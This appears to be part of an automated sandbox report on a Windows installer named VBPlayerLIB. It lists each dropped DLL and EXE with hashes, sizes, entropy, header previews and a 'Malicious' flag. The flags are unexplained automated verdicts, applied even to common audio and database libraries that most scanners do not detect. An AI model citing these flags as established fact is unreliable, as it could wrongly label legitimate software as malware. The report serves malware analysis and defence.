SSDEEP:	12288:p3y+OSQJZyHHiz8ElQxPpspcQrRclB7OIlJiIoP:xSXyniz1lQxPpspcQrRcLZJi/
MD5:	B476CA59D61F11B7C0707A5CF3FE6E89
SHA1:	1A1E7C291F963C12C9B46E8ED692104C51389E69
SHA-256:	AD65033C0D90C3A283C09C4DB6E2A29EF21BAE59C9A0926820D04EEBBF0BAF6D
SHA-512:	D5415AC7616F888DD22560951E90C8A77D5DD355748FDCC3114CAA16E75EB1D65C43696C6AECD2D9FAF8C2D32D5A3EF7A6B8CB6F2C4747C2A82132D29C9ECBFE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........>.........#.........:....................Xd................................l6........ ......................@..b....P..p..........................................................L.......................0Q...............................text...D...........................`.P`.data...x...........................@.P..rdata...%.......&..................@.`@/4.......K.......L..................@.0@.bss.........0........................`..edata..b....@......................@.0@.idata..p....P......................@.0..CRT....,....`......................@.0..tls.........p......................@.0..reloc..........,..................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libwebp.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	394752
Entropy (8bit):	6.662070316214798
Encrypted:	false
SSDEEP:	6144:uAlmRfeS+mOxv8bgDTuXU54l8WybBE36IpuIT9nxQPQnhH/a0CRdWqWJwGKp:zlm0S+SEuXU54NylJIJ9KPQnhilRsVJ
MD5:	A4123DE65270C91849FFEB8515A864C4
SHA1:	93971C6BB25F3F4D54D4DF6C0C002199A2F84525
SHA-256:	43A9928D6604BF604E43C2E1BAB30AE1654B3C26E66475F9488A95D89A4E6113
SHA-512:	D0834F7DB31ABA8AA9D97479938DA2D4CD945F76DC2203D60D24C75D29D36E635C2B0D97425027C4DEBA558B8A41A77E288F73263FA9ABC12C54E93510E3D384
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......KL...-d..-d..-d..U...-d..Be..-d.TEe..-d..-e.:-d..Ba..-d..B`..-d..Bg..-d..B`.c-d..Bd..-d..B...-d..Bf..-d.Rich.-d.........................PE..L.....b`...........!.....L..........+S.......`...............................P............@.................................L........... .................... ..\ ..$...............................@...@............`...............................text...NK.......L.................. ..`.rdata......`.......P..............@..@.data...............................@....rsrc... ...........................@..@.reloc..\ ... ..."..................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libwinpthread-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	68042
Entropy (8bit):	6.090396152400884
Encrypted:	false
SSDEEP:	768:RX3HAdi7wgCsL6dVSngk2IFm3ZJVRDBLRROBBKRzPm3YRiF+ixh:NHQpe6SnZQLjICPm3Ytib
MD5:	5DDA5D34AC6AA5691031FD4241538C82
SHA1:	22788C2EBE5D50FF36345EA0CB16035FABAB8A6C
SHA-256:	DE1A9DD251E29718176F675455592BC1904086B9235A89E6263A3085DDDCBB63
SHA-512:	08385DE11A0943A6F05AC3F8F1E309E1799D28EA50BF1CA6CEB01E128C0CD7518A64E55E8B56A4B8EF9DB3ECD2DE33D39779DCA1FBF21DE735E489A09159A1FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........V......#...&...........................d......................................@... ..............................0..t....`..P....................p.......................................................1..H............................text...d...........................`..`.data...L...........................@....rdata..\...........................@..@/4.......2.......4..................@..@.bss.....................................edata..............................@..@.idata..t....0......................@....CRT....0....@......................@....tls.........P......................@....rsrc...P....`......................@....reloc.......p......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\mp3gain.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	123406
Entropy (8bit):	6.263889638223575
Encrypted:	false
SSDEEP:	1536:hnPkU1t2P2hHV5JG1YBBAUBEd8+poyez9djcx2/8s6UJqfxX+1XOAhbKzb3+d:xPu21IYyCTToE6c+6e+d
MD5:	B49ECFA819479C3DCD97FAE2A8AB6EC6
SHA1:	1B8D47D4125028BBB025AAFCA1759DEB3FC0C298
SHA-256:	B9D5317E10E49AA9AD8AD738EEBE9ACD360CC5B20E2617E5C0C43740B95FC0F2
SHA-512:	18617E57A76EFF6D95A1ED735CE8D5B752F1FB550045FBBEDAC4E8E67062ACD7845ADC6FBE62238C383CED5E01D7AA4AB8F968DC442B67D62D2ED712DB67DC13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................R.......d>..........p....@...........................@......^........ ...............................@.4...................................................................................\|.@.@............................text....Q.......R..................`.P`.data...\....p.......V..............@.@..rdata...a.......b...X..............@.`@/4..................................@.0@.bss.....c>...........................`..idata..4.....@.....................@.0..CRT....4.....@.....................@.0..tls..........@.....................@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\opusenc.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	562190
Entropy (8bit):	6.388293171196564
Encrypted:	false
SSDEEP:	12288:uCtwsqIfrUmUBrusLdVAjA1ATAtuQ8T2Q8TOksqHOuCHWoEuEc4XEmEVEEAcIHAj:uqiIoYmOuNNQ1zU/xGl
MD5:	713D04E7396D3A4EFF6BF8BA8B9CB2CD
SHA1:	D824F373C219B33988CFA3D4A53E7C2BFA096870
SHA-256:	00FB8E819FFDD2C246F0E6C8C3767A08E704812C6443C8D657DFB388AEB27CF9
SHA-512:	30311238EF1EE3B97DF92084323A54764D79DED62BFEB12757F4C14F709EB2DBDF6625C260FB47DA2D600E015750394AA914FC0CC40978BA494D860710F9DC40
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Rd...............(..........................@.......................................@... .................................H...........................................................D...........................l............................text...T...........................`..`.data...X...........................@....rdata..H...........................@..@/4......P...........................@..@.bss....t................................idata..H............d..............@....CRT....0............n..............@....tls.................p..............@....rsrc................r..............@....reloc...............x..............@..B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\pcm2dsd.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22542
Entropy (8bit):	5.5875455203930615
Encrypted:	false
SSDEEP:	384:RKAPwPQJgZd3rw0bGMtyz1fiaqmjj1nFY4j70UotV9mRyK:YPQJgZZwUGH1fJljj1+D18
MD5:	E1C0147422B8C4DB4FC4C1AD6DD1B6EE
SHA1:	4D10C5AD96756CBC530F3C35ADCD9E4B3F467CFA
SHA-256:	124F210C04C12D8C6E4224E257D934838567D587E5ABAEA967CBD5F088677049
SHA-512:	A163122DFFE729E6F1CA6EB756A776F6F01A784A488E2ACCE63AEAFA14668E8B1148BE948EB4AF4CA8C5980E85E681960B8A43C94B95DFFC72FCCEE1E170BD9A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........X...............,...T...............@....@.......................................... .................................@...........................................................PU..........................P............................text....+.......,..................`.P`.data........@.......0..............@.`..rdata..0....P.......2..............@.0@/4...........`.......<..............@.0@.bss.........p........................`..idata..@............J..............@.0..CRT....4............T..............@.0..tls.................V..............@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\is-CDEOO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25614
Entropy (8bit):	6.0293046975090325
Encrypted:	false
SSDEEP:	768:MiksLrrN6mRXYYYYYYYYYYYYYYYYYYYYYYYYYI9W0oM:zrHFYYYYYYYYYYYYYYYYYYYYYYYYY70N
MD5:	B82364A204396C352F8CC9B2F8ABEF73
SHA1:	20AD466787D65C987A9EBDBD4A2E8845E4D37B68
SHA-256:	2A64047F9B9B07F6CB22BFE4F9D4A7DB06994B6107B5EA2A7E38FAFA9E282667
SHA-512:	C8CAFA4C315CE96D41AD521E72180DF99931B5F448C8647161E7F9DCA29AA07213B9CCEF9E3F7FB5353C7B459E3DA620E560153BDBA1AB529C206330DBD26FF5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........d.........#....."...`...............@.... g.................................a........ .........................@.......@...............................`............................c.......................................................text.... ......."..................`.P`.data........@.......&..............@.`..rdata.......`.......@..............@.0@/4...........p.......F..............@.0@.bss..................................`..edata..@............T..............@.0@.idata..@............V..............@.0..CRT....,............\..............@.0..tls.................^..............@.0..reloc..`............`..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\is-GNU2Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.25938266470983
Encrypted:	false
SSDEEP:	192:l0HhuwYqkoiCBJRgcsZQPCkWa/HI77wbcRODYCpes2n13dwczbUwS7RE8SD:lqhoqkVCXWgI77B0hGnLwczbUwSC8g
MD5:	228EE3AFDCC5F75244C0E25050A346CB
SHA1:	822B7674D1B7B091C1478ADD2F88E0892542516F
SHA-256:	7ACD537F3BE069C7813DA55D6BC27C3A933DF2CF07D29B4120A8DF0C26D26561
SHA-512:	7DFA06B9775A176A9893E362B08DA7F2255037DC99FB6BE53020ECD4841C7E873C03BAC11D14914EFDFE84EFEB3FB99745566BB39784962365BEEBDB89A4531B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0....Xj.......................................... ......................p......................................................................P@......................................................text...$...........................`.P`.data...,....0......................@.0..rdata.......@....... ..............@.0@/4...........P......."..............@.0@.bss.........`........................`..edata.......p......................@.0@.idata...............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\peak_scanner_plugin_c.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.25938266470983
Encrypted:	false
SSDEEP:	192:l0HhuwYqkoiCBJRgcsZQPCkWa/HI77wbcRODYCpes2n13dwczbUwS7RE8SD:lqhoqkVCXWgI77B0hGnLwczbUwSC8g
MD5:	228EE3AFDCC5F75244C0E25050A346CB
SHA1:	822B7674D1B7B091C1478ADD2F88E0892542516F
SHA-256:	7ACD537F3BE069C7813DA55D6BC27C3A933DF2CF07D29B4120A8DF0C26D26561
SHA-512:	7DFA06B9775A176A9893E362B08DA7F2255037DC99FB6BE53020ECD4841C7E873C03BAC11D14914EFDFE84EFEB3FB99745566BB39784962365BEEBDB89A4531B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0....Xj.......................................... ......................p......................................................................P@......................................................text...$...........................`.P`.data...,....0......................@.0..rdata.......@....... ..............@.0@/4...........P......."..............@.0@.bss.........`........................`..edata.......p......................@.0@.idata...............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\raw_decode_plugin_c.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25614
Entropy (8bit):	6.0293046975090325
Encrypted:	false
SSDEEP:	768:MiksLrrN6mRXYYYYYYYYYYYYYYYYYYYYYYYYYI9W0oM:zrHFYYYYYYYYYYYYYYYYYYYYYYYYY70N
MD5:	B82364A204396C352F8CC9B2F8ABEF73
SHA1:	20AD466787D65C987A9EBDBD4A2E8845E4D37B68
SHA-256:	2A64047F9B9B07F6CB22BFE4F9D4A7DB06994B6107B5EA2A7E38FAFA9E282667
SHA-512:	C8CAFA4C315CE96D41AD521E72180DF99931B5F448C8647161E7F9DCA29AA07213B9CCEF9E3F7FB5353C7B459E3DA620E560153BDBA1AB529C206330DBD26FF5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........d.........#....."...`...............@.... g.................................a........ .........................@.......@...............................`............................c.......................................................text.... ......."..................`.P`.data........@.......&..............@.`..rdata.......`.......@..............@.0@/4...........p.......F..............@.0@.bss..................................`..edata..@............T..............@.0@.idata..@............V..............@.0..CRT....,............\..............@.0..tls.................^..............@.0..reloc..`............`..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\rg_ebur128.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	43520
Entropy (8bit):	6.232860260916194
Encrypted:	false
SSDEEP:	768:XozEJVjDF38DrOPwLg0cAY7K+k+Y+TyHMjMbHVJx9jm3LkkteFfXbBekdAnPKx:Xo4JJDirOoLg0C7F/rDGdpB52PK
MD5:	B162992412E08888456AE13BA8BD3D90
SHA1:	095FA02EB14FD4BD6EA06F112FDAFE97522F9888
SHA-256:	2581A6BCA6F4B307658B24A7584A6B300C91E32F2FE06EB1DCA00ADCE60FA723
SHA-512:	078594DE66F7E065DCB48DA7C13A6A15F8516800D5CEE14BA267F43DC73BC38779A4A4ED9444AFDFA581523392CBE06B0241AA8EC0148E6BCEA8E23B78486824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....z.......D................,n.........................p.......`........ ...................... .......0...............................`..............................t........................0...............................text....x.......z..................`.P`.data...,............~..............@.0..rdata..............................@.P@.eh_fram\|...........................@.0@.bss.....B............................`..edata....... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\sd.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	240654
Entropy (8bit):	6.518503846592995
Encrypted:	false
SSDEEP:	6144:yZDfF4DjzIHBV+bUeenu+t+oSTdjpNZ7utS81qpHW4paP2L:ekjzMBVKXeuq+oSTdjpr7N8f+L
MD5:	4F0C85351AEC4B00300451424DB4B5A4
SHA1:	BB66D807EDE0D7D86438207EB850F50126924C9D
SHA-256:	CC0B53969670C7275A855557EA16182C932160BC0F8543EFFC570F760AE2185E
SHA-512:	80C84403ED47380FF75EBA50A23E565F7E5C68C7BE8C208A5A48B7FB0798FF51F3D33780C902A6F8AB0E6DB328860C071C77B93AC88CADF84FEF7DF34DE3E2DA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....H...................`.....g.................................\........ .........................o.......\...............................t............................S.......................................................text...dF.......H..................`.P`.data...X....`.......L..............@.P..rdata.......p.......N..............@.`@/4.......<.......>...T..............@.0@.bss..................................`..edata..o...........................@.0@.idata..\...........................@.0..CRT....,...........................@.0..tls................................@.0..reloc..t...........................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\sqlite3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	852754
Entropy (8bit):	6.503318968423685
Encrypted:	false
SSDEEP:	12288:fpFFQV+FKJ37Dm+yY4pBkPr2v2meLaoHN/oBrZ3ixdnGVzpJXm/iN:fpnzFw37iDYIBkzuPcHNgrZ3uGVzm/iN
MD5:	07FB6D31F37FB1B4164BEF301306C288
SHA1:	4CB41AF6D63A07324EF6B18B1A1F43CE94E25626
SHA-256:	06DDF0A370AF00D994824605A8E1307BA138F89B2D864539F0D19E8804EDAC02
SHA-512:	CAB4A7C5805B80851ABA5F2C9B001FABC1416F6648D891F49EACC81FE79287C5BAA01306A42298DA722750B812A4EA85388FFAE9200DCF656DD1D5B5B9323353
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L..Y.,..v......!......... .....................a................................O}........ ......................................@.......................P..X0...........................0.......................................................text...............................`.P`.data...............................@.`..rdata..............................@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,.... ......................@.0..tls.... ....0......................@.0..rsrc........@......................@.0..reloc..X0...P...2..................@.0B/4...................&..............@.@B/19.................*..............@..B/31..........@......................@..B/45..........`......................@..B/57.................................@.0B/70.....i...............

C:\Program Files (x86)\VBPlayerLIB\bin\x86\tak_deco_lib.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112640
Entropy (8bit):	6.540227486061059
Encrypted:	false
SSDEEP:	1536:45vq1zsdXYjZmGz9anu3MwjLA/eeiUKJP3Djl23HTKJ7WMU3lPyK+ZSrKxV/UJ9G:vzMMg/gMKeGsMIl6K+Zvry5zNY
MD5:	BDB65DCE335AC29ECCBC2CA7A7AD36B7
SHA1:	CE7678DCF7AF0DBF9649B660DB63DB87325E6F69
SHA-256:	7EC9EE07BFD67150D1BC26158000436B63CA8DBB2623095C049E06091FA374C3
SHA-512:	8AABCA6BE47A365ACD28DF8224F9B9B5E1654F67E825719286697FB9E1B75478DDDF31671E3921F06632EED5BB3DDA91D81E48D4550C2DCD8E2404D566F1BC29
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................f...N......0u............@.....................................................................2.......v...............................h...................................................................................CODE....Pe.......f.................. ..`DATA....D............j..............@...BSS......................................idata..v...........................@....edata..2...........................@..P.reloc..h...........................@..P.rsrc...............................@..P....................................@..P................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\takdec.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	772608
Entropy (8bit):	6.546391052615969
Encrypted:	false
SSDEEP:	6144:Q75mFL0MNnM/SQdtij4UujFhGiNV1SckT3wio2L2jV6EfnQ29mwF3s4iGtInw1m8:AwN0e0lN1fnQUFccGns9ukS6
MD5:	B3B487FC3832B607A853211E8AC42CAD
SHA1:	06E32C28103D33DAD53BE06C894203F8808D38C1
SHA-256:	30BC10BD6E5B2DB1ACE93C2004E24C128D20C242063D4F0889FD3FB3E284A9E4
SHA-512:	FA6BDBA4F2A0CF4CCA40A333B69FD041D9EDC0736EDA206F17F10AF5505CC4688B0401A3CAD2D2F69392E752B8877DB593C7872BCDB133DC785A200FF38598BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....1.d.................D..........$].......`....@.......................................@......@...................0..o............p...(...................`...............................P......................X........ .......................text...h4.......6.................. ..`.itext.......P.......:.............. ..`.data....7...`...8...H..............@....bss....0i...............................idata..............................@....didata...... ......................@....edata..o....0......................@..@.tls.........@...........................rdata..]....P......................@..@.reloc.......`......................@..B.rsrc....(...p...(..................@..@....................................@..@................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\uchardet.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	294926
Entropy (8bit):	6.191604766067493
Encrypted:	false
SSDEEP:	3072:7E0FFjiAeF21pLQFgK33duKMnlCj3eWyNg2hlNvFXl8rzJjjOjVmdX566Uwqwqwm:wKFX3LygKjjN2HIfpruwqwqwFUgVE
MD5:	C76C9AE552E4CE69E3EB9EC380BC0A42
SHA1:	EFFEC2973C3D678441AF76CFAA55E781271BD1FB
SHA-256:	574595B5FD6223E4A004FA85CBB3588C18CC6B83BF3140D8F94C83D11DBCA7BD
SHA-512:	7FB385227E802A0C77749978831245235CD1343B95D97E610D20FB0454241C465387BCCB937A2EE8A2E0B461DD3D2834F7F542E7739D8E428E146F378A24EE97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.........\|.....................n.................................c........ ......................`..j7...........................................................................................................................text...8...........................`.P`.data...x...........................@.0..rdata...F.......H..................@.`@/4.......U.......V..................@.0@.bss.........P........................`..edata..j7...`...8...$..............@.0@.idata...............\..............@.0..CRT....,............b..............@.0..tls.................d..............@.0..reloc...............f..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\utils.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	13838
Entropy (8bit):	5.173769974589746
Encrypted:	false
SSDEEP:	192:oh3ZZBe9xz7rdz9Us5bsRuKUYDpesWAhQqCNhNXUwS7RuLH9+E:ohLBe3dz9UsikKDGZqCNhNXUwS4bcE
MD5:	9C55B3E5ED1365E82AE9D5DA3EAEC9F2
SHA1:	BB3D30805A84C6F0803BE549C070F21C735E10A9
SHA-256:	D2E374DF7122C0676B4618AED537DFC8A7B5714B75D362BFBE85B38F47E3D4A4
SHA-512:	EEFE8793309FDC801B1649661B0C17C38406A9DAA1E12959CD20344975747D470D6D9C8BE51A46279A42FE1843C254C432938981D108F4899B93CDD744B5D968
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........6.........#.........2...............0....@m.................................Z........ ......................p..J.......h............................................................@......................................................text...............................`.P`.data...,....0......................@.0..rdata.......@......................@.0@/4...........P......................@.0@.bss.........`........................`..edata..J....p.......(..............@.0@.idata..h............*..............@.0..CRT....,............0..............@.0..tls.................2..............@.0..reloc...............4..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\wavpackdll.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	258560
Entropy (8bit):	6.491223412910377
Encrypted:	false
SSDEEP:	6144:X+FRYMGwNozw5upAagZnb80OXrGSc+w9nI7ZMcyVhk233M:SGMGbw5upAagZb80SMXzkgM
MD5:	DB191B89F4D015B1B9AEE99AC78A7E65
SHA1:	8DAC370768E7480481300DD5EBF8BA9CE36E11E3
SHA-256:	38A75F86DB58EB8D2A7C0213861860A64833C78F59EFF19141FFD6C3B6E28835
SHA-512:	A27E26962B43BA84A5A82238556D06672DCF17931F866D24E6E8DCE88F7B30E80BA38B071943B407A7F150A57CF1DA13D2137C235B902405BEDBE229B6D03784
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.j..f...f...f..]....f..]...f..]....f......f......f......f......f..]....f...f..]f......f......f......f...f...f......f..Rich.f..........PE..L...y.._...........!................@........ ...............................@..........................................d...$...(.......h.................... ......................................(...@............ ..8............................text...q........................... ..`asmcode.>$.......&.................. ..`.rdata..B.... ......................@..@.data...............................@....rsrc...h...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\is-B1464.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	714526
Entropy (8bit):	6.506159198508778
Encrypted:	false
SSDEEP:	12288:sRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExycV:uObekrkfohrP337uzHnA6cH+iHEOWUGM
MD5:	7554A3259587E484E6793BE1AEB65BCB
SHA1:	E3C23BB2ED5F85296B70853AC09077D5CA85EE58
SHA-256:	2D88BBEBB06AF06A8A66D51F50DD0BD44372711EF6943EA48A07D82726FC6D7B
SHA-512:	987B9A5E7A76B6F5A9057BAC41947BDB742DBDE0831D258DABC3153610277C053AA589C84D6214F8D52409E91FDD1129707318553E5B3E9D4EC4C72AAC8C7CED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\is-QA7R9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	data
Category:	dropped
Size (bytes):	2875391
Entropy (8bit):	6.3064454962679335
Encrypted:	false
SSDEEP:	49152:cCEtFh29Lk6ofzVBe7N2ohVoHwdsVNfeSX:VEtFhg4bzfe7TroQd0NfeO
MD5:	9519AF53A07315BF138E588D8AF057A7
SHA1:	38C9FB18265FFB51CEF5BA94F9C676357C165B3F
SHA-256:	5A8FD8009E0706EB6DC55B0A9AA1A3BA16548D5D613C80B8CAE8A94B79CECB40
SHA-512:	18D665A11942BCEA3A6883505FAD4B3A12CFA275203D2A782F60DBDFD814873F03E5381B574AE5D8019CA7591578A03E86A51A438C53FC3CEB86630B123D6CFA
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$........v.mX..>X..>X..>7..>Y..>...>L..>7..>b..>:..>T..>X..>...>X..>K..>n1.>Y..>...>Y..>RichX..>................PE..L.....e.................p...........5............@...........................,.....I.,.....................................X...........x............................................................................................................text....b.......p.................. ..`.rdata...2.......@..................@..@.data...\|O.......0..................@....rsrc...x...........................@..@.tcell....... ......................`...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\stuff\date.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	IFF data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	4.781797138644031
Encrypted:	false
SSDEEP:	24:wSXqInX3C5DMDxJWyjPTw2C4F0lB6v4AnFt+cUeC1/B0vFFNgpX27:wSacX3ChMDxPpulB6gAFHSJE6X27
MD5:	257D1BF38FA7859FFC3717EF36577C04
SHA1:	A9D2606CFC35E17108D7C079A355A4DB54C7C2EE
SHA-256:	DFACC2F208EBF6D6180EE6E882117C31BB58E8B6A76A26FB07AC4F40E245A0CB
SHA-512:	E13A6F489C9C5BA840502F73ACD152D366E0CCDD9D3D8E74B65FF89FDC70CD46F52E42EEE0B4BA9F151323EC07C4168CF82446334564ADAA8666624F7B8035F3
Malicious:	false
